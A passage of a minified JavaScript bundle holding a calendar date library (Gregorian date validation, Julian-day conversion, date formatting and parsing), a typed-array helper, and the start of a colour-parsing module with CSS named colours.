522,29551,29580,29610,29640,29669,29699,29729,29759,29788,29818,29847,29876,29906,29935,29964,29994,30023,30053,30082,30112,30141,30171,30200,30230,30259,30289,30318,30348,30378,30408,30437,30467,30496,30526,30555,30585,30614,30644,30673,30703,30732,30762,30791,30821,30850,30880,30909,30939,30968,30998,31027,31057,31086,31116,31145,31175,31204,31234,31263,31293,31322,31352,31381,31411,31441,31471,31500,31530,31559,31589,31618,31648,31676,31706,31736,31766,31795,31825,31854,31884,31913,31943,31972,32002,32031,32061,32090,32120,32150,32180,32209,32239,32268,32298,32327,32357,32386,32416,32445,32475,32504,32534,32563,32593,32622,32652,32681,32711,32740,32770,32799,32829,32858,32888,32917,32947,32976,33006,33035,33065,33094,33124,33153,33183,33213,33243,33272,33302,33331,33361,33390,33420,33450,33479,33509,33539,33568,33598,33627,33657,33686,33716,33745,33775,33804,33834,33863,33893,33922,33952,33981,34011,34040,34069,34099,34128,34158,34187,34217,34247,34277,34306,34336,34365,34395,34424,34454,34483,34512,34542,34571,34601,34631,34660,34690,34719,34749,34778,34808,34837,34867,34896,34926,34955,34985,35015,35044,35074,35103,35133,35162,35192,35222,35251,35280,35310,35340,35370,35399,35429,35458,35488,35517,35547,35576,35605,35635,35665,35694,35723,35753,35782,35811,35841,35871,35901,35930,35960,35989,36019,36048,36078,36107,36136,36166,36195,36225,36254,36284,36314,36343,36373,36403,36433,36462,36492,36521,36551,36580,36610,36639,36669,36698,36728,36757,36786,36816,36845,36875,36904,36934,36963,36993,37022,37052,37081,37111,37141,37170,37200,37229,37259,37288,37318,37347,37377,37406,37436,37465,37495,37524,37554,37584,37613,37643,37672,37701,37731,37760,37790,37819,37849,37878,37908,37938,37967,37997,38027,38056,38085,38115,38144,38174,38203,38233,38262,38292,38322,38351,38381,38410,38440,38469,38499,38528,38558,38587,38617,38646,38676,38705,38735,38764,38794,38823,38853,38882,38912,38941,38971,39001,39030,39059,39089,39118,39148,39178,39208,39237,39267,39297,39326,39355,39385,39414,39444,39473,39503,39532,39562,39592,39621,39650,39680,39709,39739,39768,39798,39827,39857,39886,39916,39946,39975,40005,40035,40064,40094,40123,40153,40182,40212,40241,40271,40300,40330,40359,40389,40418,40448,40477,40507,40536,40566,40595,40625,40655,40685,40714,40744,40773,40803,40832,40862,40892,40921,40951,40980,41009,41039,41068,41098,41127,41157,41186,41216,41245,41275,41304,41334,41364,41393,41422,41452,41481,41511,41540,41570,41599,41629,41658,41688,41718,41748,41777,41807,41836,41865,41894,41924,41953,41983,42012,42042,42072,42102,42131,42161,42190,42220,42249,42279,42308,42337,42367,42397,42426,42456,42485,42515,42545,42574,42604,42633,42662,42692,42721,42751,42780,42810,42839,42869,42899,42929,42958,42988,43017,43046,43076,43105,43135,43164,43194,43223,43253,43283,43312,43342,43371,43401,43430,43460,43489,43519,43548,43578,43607,43637,43666,43696,43726,43755,43785,43814,43844,43873,43903,43932,43962,43991,44021,44050,44080,44109,44139,44169,44198,44228,44258,44287,44317,44346,44375,44405,44434,44464,44493,44523,44553,44582,44612,44641,44671,44700,44730,44759,44788,44818,44847,44877,44906,44936,44966,44996,45025,45055,45084,45114,45143,45172,45202,45231,45261,45290,45320,45350,45380,45409,45439,45468,45498,45527,45556,45586,45615,45644,45674,45704,45733,45763,45793,45823,45852,45882,45911,45940,45970,45999,46028,46058,46088,46117,46147,46177,46206,46236,46265,46295,46324,46354,46383,46413,46442,46472,46501,46531,46560,46590,46620,46649,46679,46708,46738,46767,46797,46826,46856,46885,46915,46944,46974,47003,47033,47063,47092,47122,47151,47181,47210,47240,47269,47298,47328,47357,47387,47417,47446,47476,47506,47535,47565,47594,47624,47653,47682,47712,47741,47771,47800,47830,47860,47890,47919,47949,47978,48008,48037,48066,48096,48125,48155,48184,48214,48244,48273,48303,48333,48362,48392,48421,48450,48480,48509,48538,48568,48598,48627,48657,48687,48717,48746,48776,48805,48834,48864,48893,48922,48952,48982,49011,49041,49071,49100,49130,49160,49189,49218,49248,49277,49306,49336,49365,49395,49425,49455,49484,49514,49543,49573,49602,49632,49661,49690,49720,49749,49779,49809,49838,49868,49898,49927,49957,49986,50016,50045,50075,50104,50133,50163,50192,50222,50252,50281,50311,50340,50370,50400,50429,50459,50488,50518,50547,50576,50606,50635,50665,50694,50724,50754,50784,50813,50843,50872,50902,50931,50960,50990,51019,51049,51078,51108,51138,51167,51197,51227,51256,51286,51315,51345,51374,51403,51433,51462,51492,51522,51552,51582,51611,51641,51670,51699,51729,51758,51787,51816,51846,51876,51906,51936,51965,51995,52025,52054,52083,52113,52142,52171,52200,52230,52260,52290,52319,52349,52379,52408,52438,52467,52497,52526,52555,52585,52614,52644,52673,52703,52733,52762,52792,52822,52851,52881,52910,52939,52969,52998,53028,53057,53087,53116,53146,53176,53205,53235,53264,53294,53324,53353,53383,53412,53441,53471,53500,53530,53559,53589,53619,53648,53678,53708,53737,53767,53796,53825,53855,53884,53913,53943,53973,54003,54032,54062,54092,54121,54151,54180,54209,54239,54268,54297,54327,54357,54387,54416,54446,54476,54505,54535,54564,54593,54623,54652,54681,54711,54741,54770,54800,54830,54859,54889,54919,54948,54977,55007,55036,55066,55095,55125,55154,55184,55213,55243,55273,55302,55332,55361,55391,55420,55450,55479,55508,55538,55567,55597,55627,55657,55686,55716,55745,55775,55804,55834,55863,55892,55922,55951,55981,56011,56040,56070,56100,56129,56159,56188,56218,56247,56276,56306,56335,56365,56394,56424,56454,56483,56513,56543,56572,56601,56631,56660,56690,56719,56749,56778,56808,56837,56867,56897,56926,56956,56985,57015,57044,57074,57103,57133,57162,57192,57221,57251,57280,57310,57340,57369,57399,57429,57458,57487,57517,57546,57576,57605,57634,57664,57694,57723,57753,57783,57813,57842,57871,57901,57930,57959,57989,58018,58048,58077,58107,58137,58167,58196,58226,58255,58285,58314,58343,58373,58402,58432,58461,58491,58521,58551,58580,58610,58639,58669,58698,58727,58757,58786,58816,58845,58875,58905,58934,58964,58994,59023,59053,59082,59111,59141,59170,59200,59229,59259,59288,59318,59348,59377,59407,59436,59466,59495,59525,59554,59584,59613,59643,59672,59702,59731,59761,59791,59820,59850,59879,59909,59939,59968,59997,60027,60056,60086,60115,60145,60174,60204,60234,60264,60293,60323,60352,60381,60411,60440,60469,60499,60528,60558,60588,60618,60648,60677,60707,60736,60765,60795,60824,60853,60883,60912,60942,60972,61002,61031,61061,61090,61120,61149,61179,61208,61237,61267,61296,61326,61356,61385,61415,61445,61474,61504,61533,61563,61592,61621,61651,61680,61710,61739,61769,61799,61828,61858,61888,61917,61947,61976,62006,62035,62064,62094,62123,62153,62182,62212,62242,62271,62301,62331,62360,62390,62419,62448,62478,62507,62537,62566,62596,62625,62655,62685,62715,62744,62774,62803,62832,62862,62891,62921,62950,62980,63009,63039,63069,63099,63128,63157,63187,63216,63246,63275,63305,63334,63363,63393,63423,63453,63482,63512,63541,63571,63600,63630,63659,63689,63718,63747,63777,63807,63836,63866,63895,63925,63955,63984,64014,64043,64073,64102,64131,64161,64190,64220,64249,64279,64309,64339,64368,64398,64427,64457,64486,64515,64545,64574,64603,64633,64663,64692,64722,64752,64782,64811,64841,64870,64899,64929,64958,64987,65017,65047,65076,65106,65136,65166,65195,65225,65254,65283,65313,65342,65371,65401,65431,65460,65490,65520,65549,65579,65608,65638,65667,65697,65726,65755,65785,65815,65844,65874,65903,65933,65963,65992,66022,66051,66081,66110,66140,66169,66199,66228,66258,66287,66317,66346,66376,66405,66435,66465,66494,66524,66553,66583,66612,66641,66671,66700,66730,66760,66789,66819,66849,66878,66908,66937,66967,66996,67025,67055,67084,67114,67143,67173,67203,67233,67262,67292,67321,67351,67380,67409,67439,67468,67497,67527,67557,67587,67617,67646,67676,67705,67735,67764,67793,67823,67852,67882,67911,67941,67971,68e3,68030,68060,68089,68119,68148,68177,68207,68236,68266,68295,68325,68354,68384,68414,68443,68473,68502,68532,68561,68591,68620,68650,68679,68708,68738,68768,68797,68827,68857,68886,68916,68946,68975,69004,69034,69063,69092,69122,69152,69181,69211,69240,69270,69300,69330,69359,69388,69418,69447,69476,69506,69535,69565,69595,69624,69654,69684,69713,69743,69772,69802,69831,69861,69890,69919,69949,69978,70008,70038,70067,70097,70126,70156,70186,70215,70245,70274,70303,70333,70362,70392,70421,70451,70481,70510,70540,70570,70599,70629,70658,70687,70717,70746,70776,70805,70835,70864,70894,70924,70954,70983,71013,71042,71071,71101,71130,71159,71189,71218,71248,71278,71308,71337,71367,71397,71426,71455,71485,71514,71543,71573,71602,71632,71662,71691,71721,71751,71781,71810,71839,71869,71898,71927,71957,71986,72016,72046,72075,72105,72135,72164,72194,72223,72253,72282,72311,72341,72370,72400,72429,72459,72489,72518,72548,72577,72607,72637,72666,72695,72725,72754,72784,72813,72843,72872,72902,72931,72961,72991,73020,73050,73080,73109,73139,73168,73197,73227,73256,73286,73315,73345,73375,73404,73434,73464,73493,73523,73552,73581,73611,73640,73669,73699,73729,73758,73788,73818,73848,73877,73907,73936,73965,73995,74024,74053,74083,74113,74142,74172,74202,74231,74261,74291,74320,74349,74379,74408,74437,74467,74497,74526,74556,74586,74615,74645,74675,74704,74733,74763,74792,74822,74851,74881,74910,74940,74969,74999,75029,75058,75088,75117,75147,75176,75206,75235,75264,75294,75323,75353,75383,75412,75442,75472,75501,75531,75560,75590,75619,75648,75678,75707,75737,75766,75796,75826,75856,75885,75915,75944,75974,76003,76032,76062,76091,76121,76150,76180,76210,76239,76269,76299,76328,76358,76387,76416,76446,76475,76505,76534,76564,76593,76623,76653,76682,76712,76741,76771,76801,76830,76859,76889,76918,76948,76977,77007,77036,77066,77096,77125,77155,77185,77214,77243,77273,77302,77332,77361,77390,77420,77450,77479,77509,77539,77569,77598,77627,77657,77686,77715,77745,77774,77804,77833,77863,77893,77923,77952,77982,78011,78041,78070,78099,78129,78158,78188,78217,78247,78277,78307,78336,78366,78395,78425,78454,78483,78513,78542,78572,78601,78631,78661,78690,78720,78750,78779,78808,78838,78867,78897,78926,78956,78985,79015,79044,79074,79104,79133,79163,79192,79222,79251,79281,79310,79340,79369,79399,79428,79458,79487,79517,79546,79576,79606,79635,79665,79695,79724,79753,79783,79812,79841,79871,79900,79930,79960,79990]},63489:function(te,Z,e){var M=e(56131);function P(){this.regionalOptions=[],this.regionalOptions[""]={invalidCalendar:"Calendar {0} not found",invalidDate:"Invalid {0} date",invalidMonth:"Invalid {0} month",invalidYear:"Invalid {0} year",differentCalendars:"Cannot mix {0} and {1} dates"},this.local=this.regionalOptions[""],this.calendars={},this._localCals={}}M(P.prototype,{instance:function(t,r){t=(t||"gregorian").toLowerCase(),r=r||"";var f=this._localCals[t+"-"+r];if(!f&&this.calendars[t]&&(f=new this.calendars[t](r),this._localCals[t+"-"+r]=f),!f)throw(this.local.invalidCalendar||this.regionalOptions[""].invalidCalendar).replace(/\{0\}/,t);return f},newDate:function(t,r,f,a,l){return a=(t!=null&&t.year?t.calendar():typeof a=="string"?this.instance(a,l):a)||this.instance(),a.newDate(t,r,f)},substituteDigits:function(t){return function(r){return(r+"").replace(/[0-9]/g,function(f){return t[f]})}},substituteChineseDigits:function(t,r){return function(f){for(var a="",l=0;f>0;){var u=f%10;a=(u===0?"":t[u]+r[l])+a,l++,f=Math.floor(f/10)}return a.indexOf(t[1]+r[1])===0&&(a=a.substr(1)),a||t[0]}}});function o(t,r,f,a){if(this._calendar=t,this._year=r,this._month=f,this._day=a,this._calendar._validateLevel===0&&!this._calendar.isValid(this._year,this._month,this._day))throw(g.local.invalidDate||g.regionalOptions[""].invalidDate).replace(/\{0\}/,this._calendar.local.name)}function L(t,r){return t=""+t,"000000".substring(0,r-t.length)+t}M(o.prototype,{newDate:function(t,r,f){return this._calendar.newDate(t??this,r,f)},year:function(t){return arguments.length===0?this._year:this.set(t,"y")},month:function(t){return arguments.length===0?this._month:this.set(t,"m")},day:function(t){return arguments.length===0?this._day:this.set(t,"d")},date:function(t,r,f){if(!this._calendar.isValid(t,r,f))throw(g.local.invalidDate||g.regionalOptions[""].invalidDate).replace(/\{0\}/,this._calendar.local.name);return this._year=t,this._month=r,this._day=f,this},leapYear:function(){return this._calendar.leapYear(this)},epoch:function(){return this._calendar.epoch(this)},formatYear:function(){return this._calendar.formatYear(this)},monthOfYear:function(){return this._calendar.monthOfYear(this)},weekOfYear:function(){return this._calendar.weekOfYear(this)},daysInYear:function(){return this._calendar.daysInYear(this)},dayOfYear:function(){return this._calendar.dayOfYear(this)},daysInMonth:function(){return this._calendar.daysInMonth(this)},dayOfWeek:function(){return this._calendar.dayOfWeek(this)},weekDay:function(){return this._calendar.weekDay(this)},extraInfo:function(){return this._calendar.extraInfo(this)},add:function(t,r){return this._calendar.add(this,t,r)},set:function(t,r){return this._calendar.set(this,t,r)},compareTo:function(t){if(this._calendar.name!==t._calendar.name)throw(g.local.differentCalendars||g.regionalOptions[""].differentCalendars).replace(/\{0\}/,this._calendar.local.name).replace(/\{1\}/,t._calendar.local.name);var r=this._year!==t._year?this._year-t._year:this._month!==t._month?this.monthOfYear()-t.monthOfYear():this._day-t._day;return r===0?0:r<0?-1:1},calendar:function(){return this._calendar},toJD:function(){return this._calendar.toJD(this)},fromJD:function(t){return this._calendar.fromJD(t)},toJSDate:function(){return this._calendar.toJSDate(this)},fromJSDate:function(t){return this._calendar.fromJSDate(t)},toString:function(){return(this.year()<0?"-":"")+L(Math.abs(this.year()),4)+"-"+L(this.month(),2)+"-"+L(this.day(),2)}});function S(){this.shortYearCutoff="+10"}M(S.prototype,{_validateLevel:0,newDate:function(t,r,f){return t==null?this.today():(t.year&&(this._validate(t,r,f,g.local.invalidDate||g.regionalOptions[""].invalidDate),f=t.day(),r=t.month(),t=t.year()),new o(this,t,r,f))},today:function(){return this.fromJSDate(new Date)},epoch:function(t){var r=this._validate(t,this.minMonth,this.minDay,g.local.invalidYear||g.regionalOptions[""].invalidYear);return r.year()<0?this.local.epochs[0]:this.local.epochs[1]},formatYear:function(t){var r=this._validate(t,this.minMonth,this.minDay,g.local.invalidYear||g.regionalOptions[""].invalidYear);return(r.year()<0?"-":"")+L(Math.abs(r.year()),4)},monthsInYear:function(t){return this._validate(t,this.minMonth,this.minDay,g.local.invalidYear||g.regionalOptions[""].invalidYear),12},monthOfYear:function(t,r){var f=this._validate(t,r,this.minDay,g.local.invalidMonth||g.regionalOptions[""].invalidMonth);return(f.month()+this.monthsInYear(f)-this.firstMonth)%this.monthsInYear(f)+this.minMonth},fromMonthOfYear:function(t,r){var f=(r+this.firstMonth-2*this.minMonth)%this.monthsInYear(t)+this.minMonth;return this._validate(t,f,this.minDay,g.local.invalidMonth||g.regionalOptions[""].invalidMonth),f},daysInYear:function(t){var r=this._validate(t,this.minMonth,this.minDay,g.local.invalidYear||g.regionalOptions[""].invalidYear);return this.leapYear(r)?366:365},dayOfYear:function(t,r,f){var a=this._validate(t,r,f,g.local.invalidDate||g.regionalOptions[""].invalidDate);return a.toJD()-this.newDate(a.year(),this.fromMonthOfYear(a.year(),this.minMonth),this.minDay).toJD()+1},daysInWeek:function(){return 7},dayOfWeek:function(t,r,f){var a=this._validate(t,r,f,g.local.invalidDate||g.regionalOptions[""].invalidDate);return(Math.floor(this.toJD(a))+2)%this.daysInWeek()},extraInfo:function(t,r,f){return this._validate(t,r,f,g.local.invalidDate||g.regionalOptions[""].invalidDate),{}},add:function(t,r,f){return this._validate(t,this.minMonth,this.minDay,g.local.invalidDate||g.regionalOptions[""].invalidDate),this._correctAdd(t,this._add(t,r,f),r,f)},_add:function(t,r,f){if(this._validateLevel++,f==="d"||f==="w"){var a=t.toJD()+r*(f==="w"?this.daysInWeek():1),l=t.calendar().fromJD(a);return this._validateLevel--,[l.year(),l.month(),l.day()]}try{var u=t.year()+(f==="y"?r:0),s=t.monthOfYear()+(f==="m"?r:0),l=t.day(),y=function(h){for(;s<h.minMonth;)u--,s+=h.monthsInYear(u);for(var i=h.monthsInYear(u);s>i-1+h.minMonth;)u++,s-=i,i=h.monthsInYear(u)};f==="y"?(t.month()!==this.fromMonthOfYear(u,s)&&(s=this.newDate(u,t.month(),this.minDay).monthOfYear()),s=Math.min(s,this.monthsInYear(u)),l=Math.min(l,this.daysInMonth(u,this.fromMonthOfYear(u,s)))):f==="m"&&(y(this),l=Math.min(l,this.daysInMonth(u,this.fromMonthOfYear(u,s))));var c=[u,this.fromMonthOfYear(u,s),l];return this._validateLevel--,c}catch(b){throw this._validateLevel--,b}},_correctAdd:function(t,r,f,a){if(!this.hasYearZero&&(a==="y"||a==="m")&&(r[0]===0||t.year()>0!=r[0]>0)){var l={y:[1,1,"y"],m:[1,this.monthsInYear(-1),"m"],w:[this.daysInWeek(),this.daysInYear(-1),"d"],d:[1,this.daysInYear(-1),"d"]}[a],u=f<0?-1:1;r=this._add(t,f*l[0]+u*l[1],l[2])}return t.date(r[0],r[1],r[2])},set:function(t,r,f){this._validate(t,this.minMonth,this.minDay,g.local.invalidDate||g.regionalOptions[""].invalidDate);var a=f==="y"?r:t.year(),l=f==="m"?r:t.month(),u=f==="d"?r:t.day();return(f==="y"||f==="m")&&(u=Math.min(u,this.daysInMonth(a,l))),t.date(a,l,u)},isValid:function(t,r,f){this._validateLevel++;var a=this.hasYearZero||t!==0;if(a){var l=this.newDate(t,r,this.minDay);a=r>=this.minMonth&&r-this.minMonth<this.monthsInYear(l)&&f>=this.minDay&&f-this.minDay<this.daysInMonth(l)}return this._validateLevel--,a},toJSDate:function(t,r,f){var a=this._validate(t,r,f,g.local.invalidDate||g.regionalOptions[""].invalidDate);return g.instance().fromJD(this.toJD(a)).toJSDate()},fromJSDate:function(t){return this.fromJD(g.instance().fromJSDate(t).toJD())},_validate:function(t,r,f,a){if(t.year){if(this._validateLevel===0&&this.name!==t.calendar().name)throw(g.local.differentCalendars||g.regionalOptions[""].differentCalendars).replace(/\{0\}/,this.local.name).replace(/\{1\}/,t.calendar().local.name);return t}try{if(this._validateLevel++,this._validateLevel===1&&!this.isValid(t,r,f))throw a.replace(/\{0\}/,this.local.name);var l=this.newDate(t,r,f);return this._validateLevel--,l}catch(u){throw this._validateLevel--,u}}});function d(t){this.local=this.regionalOptions[t]||this.regionalOptions[""]}d.prototype=new S,M(d.prototype,{name:"Gregorian",jdEpoch:17214255e-1,daysPerMonth:[31,28,31,30,31,30,31,31,30,31,30,31],hasYearZero:!1,minMonth:1,firstMonth:1,minDay:1,regionalOptions:{"":{name:"Gregorian",epochs:["BCE","CE"],monthNames:["January","February","March","April","May","June","July","August","September","October","November","December"],monthNamesShort:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],dayNames:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],dayNamesShort:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],dayNamesMin:["Su","Mo","Tu","We","Th","Fr","Sa"],digits:null,dateFormat:"mm/dd/yyyy",firstDay:0,isRTL:!1}},leapYear:function(f){var r=this._validate(f,this.minMonth,this.minDay,g.local.invalidYear||g.regionalOptions[""].invalidYear),f=r.year()+(r.year()<0?1:0);return f%4===0&&(f%100!==0||f%400===0)},weekOfYear:function(t,r,f){var a=this.newDate(t,r,f);return a.add(4-(a.dayOfWeek()||7),"d"),Math.floor((a.dayOfYear()-1)/7)+1},daysInMonth:function(t,r){var f=this._validate(t,r,this.minDay,g.local.invalidMonth||g.regionalOptions[""].invalidMonth);return this.daysPerMonth[f.month()-1]+(f.month()===2&&this.leapYear(f.year())?1:0)},weekDay:function(t,r,f){return(this.dayOfWeek(t,r,f)||7)<6},toJD:function(t,r,f){var a=this._validate(t,r,f,g.local.invalidDate||g.regionalOptions[""].invalidDate);t=a.year(),r=a.month(),f=a.day(),t<0&&t++,r<3&&(r+=12,t--);var l=Math.floor(t/100),u=2-l+Math.floor(l/4);return Math.floor(365.25*(t+4716))+Math.floor(30.6001*(r+1))+f+u-1524.5},fromJD:function(t){var r=Math.floor(t+.5),f=Math.floor((r-186721625e-2)/36524.25);f=r+1+f-Math.floor(f/4);var a=f+1524,l=Math.floor((a-122.1)/365.25),u=Math.floor(365.25*l),s=Math.floor((a-u)/30.6001),y=a-u-Math.floor(s*30.6001),c=s-(s>13.5?13:1),b=l-(c>2.5?4716:4715);return b<=0&&b--,this.newDate(b,c,y)},toJSDate:function(t,r,f){var a=this._validate(t,r,f,g.local.invalidDate||g.regionalOptions[""].invalidDate),l=new Date(a.year(),a.month()-1,a.day());return l.setHours(0),l.setMinutes(0),l.setSeconds(0),l.setMilliseconds(0),l.setHours(l.getHours()>12?l.getHours()+2:0),l},fromJSDate:function(t){return this.newDate(t.getFullYear(),t.getMonth()+1,t.getDate())}});var g=te.exports=new P;g.cdate=o,g.baseCalendar=S,g.calendars.gregorian=d},94338:function(te,Z,e){var M=e(56131),P=e(63489);M(P.regionalOptions[""],{invalidArguments:"Invalid arguments",invalidFormat:"Cannot format a date from another calendar",missingNumberAt:"Missing number at position {0}",unknownNameAt:"Unknown name at position {0}",unexpectedLiteralAt:"Unexpected literal at position {0}",unexpectedText:"Additional text found at end"}),P.local=P.regionalOptions[""],M(P.cdate.prototype,{formatDate:function(o,L){return typeof o!="string"&&(L=o,o=""),this._calendar.formatDate(o||"",this,L)}}),M(P.baseCalendar.prototype,{UNIX_EPOCH:P.instance().newDate(1970,1,1).toJD(),SECS_PER_DAY:86400,TICKS_EPOCH:P.instance().jdEpoch,TICKS_PER_DAY:864e9,ATOM:"yyyy-mm-dd",COOKIE:"D, dd M yyyy",FULL:"DD, MM d, yyyy",ISO_8601:"yyyy-mm-dd",JULIAN:"J",RFC_822:"D, d M yy",RFC_850:"DD, dd-M-yy",RFC_1036:"D, d M yy",RFC_1123:"D, d M yyyy",RFC_2822:"D, d M yyyy",RSS:"D, d M yy",TICKS:"!",TIMESTAMP:"@",W3C:"yyyy-mm-dd",formatDate:function(o,L,S){if(typeof o!="string"&&(S=L,L=o,o=""),!L)return"";if(L.calendar()!==this)throw P.local.invalidFormat||P.regionalOptions[""].invalidFormat;o=o||this.local.dateFormat,S=S||{};var d=S.dayNamesShort||this.local.dayNamesShort,g=S.dayNames||this.local.dayNames,t=S.monthNumbers||this.local.monthNumbers,r=S.monthNamesShort||this.local.monthNamesShort,f=S.monthNames||this.local.monthNames;S.calculateWeek||this.local.calculateWeek;for(var a=function(w,E){for(var p=1;T+p<o.length&&o.charAt(T+p)===w;)p++;return T+=p-1,Math.floor(p/(E||1))>1},l=function(w,E,p,A){var m=""+E;if(a(w,A))for(;m.length<p;)m="0"+m;return m},u=function(w,E,p,A){return a(w)?A[E]:p[E]},s=this,y=function(w){return typeof t=="function"?t.call(s,w,a("m")):h(l("m",w.month(),2))},c=function(w,E){return E?typeof f=="function"?f.call(s,w):f[w.month()-s.minMonth]:typeof r=="function"?r.call(s,w):r[w.month()-s.minMonth]},b=this.local.digits,h=function(w){return S.localNumbers&&b?b(w):w},i="",v=!1,T=0;T<o.length;T++)if(v)o.charAt(T)==="'"&&!a("'")?v=!1:i+=o.charAt(T);else switch(o.charAt(T)){case"d":i+=h(l("d",L.day(),2));break;case"D":i+=u("D",L.dayOfWeek(),d,g);break;case"o":i+=l("o",L.dayOfYear(),3);break;case"w":i+=l("w",L.weekOfYear(),2);break;case"m":i+=y(L);break;case"M":i+=c(L,a("M"));break;case"y":i+=a("y",2)?L.year():(L.year()%100<10?"0":"")+L.year()%100;break;case"Y":a("Y",2),i+=L.formatYear();break;case"J":i+=L.toJD();break;case"@":i+=(L.toJD()-this.UNIX_EPOCH)*this.SECS_PER_DAY;break;case"!":i+=(L.toJD()-this.TICKS_EPOCH)*this.TICKS_PER_DAY;break;case"'":a("'")?i+="'":v=!0;break;default:i+=o.charAt(T)}return i},parseDate:function(o,L,S){if(L==null)throw P.local.invalidArguments||P.regionalOptions[""].invalidArguments;if(L=typeof L=="object"?L.toString():L+"",L==="")return null;o=o||this.local.dateFormat,S=S||{};var d=S.shortYearCutoff||this.shortYearCutoff;d=typeof d!="string"?d:this.today().year()%100+parseInt(d,10);for(var g=S.dayNamesShort||this.local.dayNamesShort,t=S.dayNames||this.local.dayNames,r=S.parseMonth||this.local.parseMonth,f=S.monthNumbers||this.local.monthNumbers,a=S.monthNamesShort||this.local.monthNamesShort,l=S.monthNames||this.local.monthNames,u=-1,s=-1,y=-1,c=-1,b=-1,h=!1,i=!1,v=function(k,B){for(var _=1;C+_<o.length&&o.charAt(C+_)===k;)_++;return C+=_-1,Math.floor(_/(B||1))>1},T=function(k,B){var _=v(k,B),F=[2,3,_?4:2,_?4:2,10,11,20]["oyYJ@!".indexOf(k)+1],O=new RegExp("^-?\\d{1,"+F+"}"),z=L.substring(n).match(O);if(!z)throw(P.local.missingNumberAt||P.regionalOptions[""].missingNumberAt).replace(/\{0\}/,n);return n+=z[0].length,parseInt(z[0],10)},w=this,E=function(){if(typeof f=="function"){v("m");var k=f.call(w,L.substring(n));return n+=k.length,k}return T("m")},p=function(k,B,_,F){for(var O=v(k,F)?_:B,z=0;z<O.length;z++)if(L.substr(n,O[z].length).toLowerCase()===O[z].toLowerCase())return n+=O[z].length,z+w.minMonth;throw(P.local.unknownNameAt||P.regionalOptions[""].unknownNameAt).replace(/\{0\}/,n)},A=function(){if(typeof l=="function"){var k=v("M")?l.call(w,L.substring(n)):a.call(w,L.substring(n));return n+=k.length,k}return p("M",a,l)},m=function(){if(L.charAt(n)!==o.charAt(C))throw(P.local.unexpectedLiteralAt||P.regionalOptions[""].unexpectedLiteralAt).replace(/\{0\}/,n);n++},n=0,C=0;C<o.length;C++)if(i)o.charAt(C)==="'"&&!v("'")?i=!1:m();else switch(o.charAt(C)){case"d":c=T("d");break;case"D":p("D",g,t);break;case"o":b=T("o");break;case"w":T("w");break;case"m":y=E();break;case"M":y=A();break;case"y":var x=C;h=!v("y",2),C=x,s=T("y",2);break;case"Y":s=T("Y",2);break;case"J":u=T("J")+.5,L.charAt(n)==="."&&(n++,T("J"));break;case"@":u=T("@")/this.SECS_PER_DAY+this.UNIX_EPOCH;break;case"!":u=T("!")/this.TICKS_PER_DAY+this.TICKS_EPOCH;break;case"*":n=L.length;break;case"'":v("'")?m():i=!0;break;default:m()}if(n<L.length)throw P.local.unexpectedText||P.regionalOptions[""].unexpectedText;if(s===-1?s=this.today().year():s<100&&h&&(s+=d===-1?1900:this.today().year()-this.today().year()%100-(s<=d?0:100)),typeof y=="string"&&(y=r.call(this,s,y)),b>-1){y=1,c=b;for(var I=this.daysInMonth(s,y);c>I;I=this.daysInMonth(s,y))y++,c-=I}return u>-1?this.fromJD(u):this.newDate(s,y,c)},determineDate:function(o,L,S,d,g){S&&typeof S!="object"&&(g=d,d=S,S=null),typeof d!="string"&&(g=d,d="");var t=this,r=function(f){try{return t.parseDate(d,f,g)}catch{}f=f.toLowerCase();for(var a=(f.match(/^c/)&&S?S.newDate():null)||t.today(),l=/([+-]?[0-9]+)\s*(d|w|m|y)?/g,u=l.exec(f);u;)a.add(parseInt(u[1],10),u[2]||"d"),u=l.exec(f);return a};return L=L?L.newDate():null,o=o==null?L:typeof o=="string"?r(o):typeof o=="number"?isNaN(o)||o===1/0||o===-1/0?L:t.today().add(o,"d"):t.newDate(o),o}})},69862:function(){},40964:function(){},72077:function(te,Z,e){var M=["BigInt64Array","BigUint64Array","Float32Array","Float64Array","Int16Array","Int32Array","Int8Array","Uint16Array","Uint32Array","Uint8Array","Uint8ClampedArray"],P=typeof globalThis>"u"?e.g:globalThis;te.exports=function(){for(var L=[],S=0;S<M.length;S++)typeof P[M[S]]=="function"&&(L[L.length]=M[S]);return L}},81684:function(te,Z,e){e.d(Z,{sX:function(){return be},k4:function(){return ie}});function M(ge,Te,Fe){ge.prototype=Te.prototype=Fe,Fe.constructor=ge}function P(ge,Te){var Fe=Object.create(ge.prototype);for(var Oe in Te)Fe[Oe]=Te[Oe];return Fe}function o(){}var L=.7,S=1/L,d="\\s*([+-]?\\d+)\\s*",g="\\s*([+-]?(?:\\d*\\.)?\\d+(?:[eE][+-]?\\d+)?)\\s*",t="\\s*([+-]?(?:\\d*\\.)?\\d+(?:[eE][+-]?\\d+)?)%\\s*",r=/^#([0-9a-f]{3,8})$/,f=new RegExp("^rgb\\(".concat(d,",").concat(d,",").concat(d,"\\)$")),a=new RegExp("^rgb\\(".concat(t,",").concat(t,",").concat(t,"\\)$")),l=new RegExp("^rgba\\(".concat(d,",").concat(d,",").concat(d,",").concat(g,"\\)$")),u=new RegExp("^rgba\\(".concat(t,",").concat(t,",").concat(t,",").concat(g,"\\)$")),s=new RegExp("^hsl\\(".concat(g,",").concat(t,",").concat(t,"\\)$")),y=new RegExp("^hsla\\(".concat(g,",").concat(t,",").concat(t,",").concat(g,"\\)$")),c={aliceblue:15792383,antiquewhite:16444375,aqua:65535,aquamarine:8388564,azure:15794175,beige:16119260,bisque:16770244,black:0,blanchedalmond:16772045,blue:255,blueviolet:9055202,brown:10824234,burlywood:14596231,cadetblue:6266528,chartreuse:8388352,chocolate:13789470,coral:16744272,cornflowerblue:6591981,cornsilk:16775388,crimson:14423100,cyan:65535,darkblue:139,darkcyan:35723,darkgoldenrod:12092939,darkgray:11119017,darkgreen:25600,darkgrey:11119017,darkkhaki:12433259,darkmagenta:9109643,darkolivegreen:5597999,darkorange:16747520,darkorchid:10040012,darkred:9109504,darksalmon:15308410,darkseagreen:9419919,darkslateblue:4734347,darkslategray:3100495,darkslategrey:3100495,darkturquoise:52945,darkviolet:9699539,deeppink:16716947,deepskyblue:49151,dimgray:6908265,dimgrey:6908265,dodgerblue:2003199,firebrick:11674146,floralwhite:16775920,forestgreen:2263842,fuchsia:16711935,gainsboro:14474460,ghostwhite:16316671,gold:16766720,goldenrod:14329120,gray:8421504,green:32768,greenyellow:11403055,grey:8421504,honey